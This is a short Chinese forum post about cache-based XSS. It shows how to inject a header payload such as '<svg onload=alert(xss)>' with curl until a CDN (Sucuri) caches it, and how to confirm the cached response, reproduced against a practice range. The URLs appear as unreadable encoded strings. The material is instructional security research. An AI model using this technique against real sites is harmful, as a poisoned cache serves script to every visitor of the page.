-
-
[分享]【Web安全】浅谈缓存XSS漏洞
-
发表于: 2020-3-27 13:22 1636
-
缓存XSS漏洞即为通过利用CDN of WAF缓存记录使被攻击者接受到存在XSS payload的缓存文件。
通常这些服务充当流量负载平衡和反向代理,并储存经常检索的文件,以此减少Web服务器的延迟。
工具介绍
本文中利用缓存XSS漏洞所使用的是curl,在开始之前我先简单介绍一下curl及使用方法。
curl是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具。作为一款强力工具,curl支持包括HTTP、HTTPS、ftp等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。对于网页处理流程和数据检索自动化,curl有很强的处理能力。
文中使用的命令:
-iH
-i/–include 输出时包括protocol头信息
-H/–header <line> 自定义头信息传递给服务器
使用方法:
curl -iH "你想包含的header信息" 目标地址
利用方法
文中使用的程序,代码为:
<?phpecho json_encode(getallheaders());//php7.3才可正常运行
或者可以使用已经搭好的靶场,正常的响应:
方法:
curl -iH "test:<svg onload=alert(xss)>" 089K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1M7Y4g2@1k6h3I4G2k6$3W2U0i4K6u0W2j5$3!0E0i4K6u0W2j5Y4u0Q4x3V1k6D9j5h3u0Q4x3V1k6Z5k6h3q4V1k6i4u0Q4x3X3g2H3K9s2m8Q4x3@1k6^5P5s2S2Q4x3U0S2Q4c8e0k6Q4b7f1c8Q4b7e0c8Q4c8e0g2Q4b7e0c8Q4z5o6c8Q4c8e0S2Q4z5o6N6Q4b7f1q4Q4c8e0g2Q4b7U0N6Q4b7U0q4Q4c8e0c8Q4b7V1k6Q4b7f1g2Q4c8e0k6Q4z5e0c8Q4b7U0W2Q4x3U0V1`.
可以看见x-sucuri-cache值为MISS,多发送几次payload直到x-sucuri-cache变为HIT。
验证是否成功缓存(响应中存在payload即为缓存成功):
curl -i f85K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1M7Y4g2@1k6h3I4G2k6$3W2U0i4K6u0W2j5$3!0E0i4K6u0W2j5Y4u0Q4x3V1k6D9j5h3u0Q4x3V1k6Z5k6h3q4V1k6i4u0Q4x3X3g2H3K9s2m8Q4x3@1k6Q4c8e0g2Q4z5e0m8Q4z5p5y4Q4c8e0c8Q4b7U0S2Q4z5p5p5`.
使用浏览器访问:
本文是借鉴了国外文章:XSS via HTTP Headers,链接:5beK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1M7Y4g2@1k6h3I4G2k6$3W2U0i4K6u0W2j5$3!0E0i4K6u0W2j5Y4u0Q4x3V1k6T1L8r3!0Y4i4K6u0r3P5s2y4K6i4K6u0V1N6X3W2S2i4K6u0V1K9s2c8@1M7q4)9J5k6r3S2W2j5h3c8W2M7Y4y4Q4x3V1j5`.
目前只是简单的复现了一下,对该漏洞的影响范围并不是很清楚。根据cdn缓存的工作原理,这个漏洞应该是可以影响到访问这个页面的用户,但是该靶场复现时却只能在本机成功,不清楚是靶场的设置还是cdn缓存本来就是这样。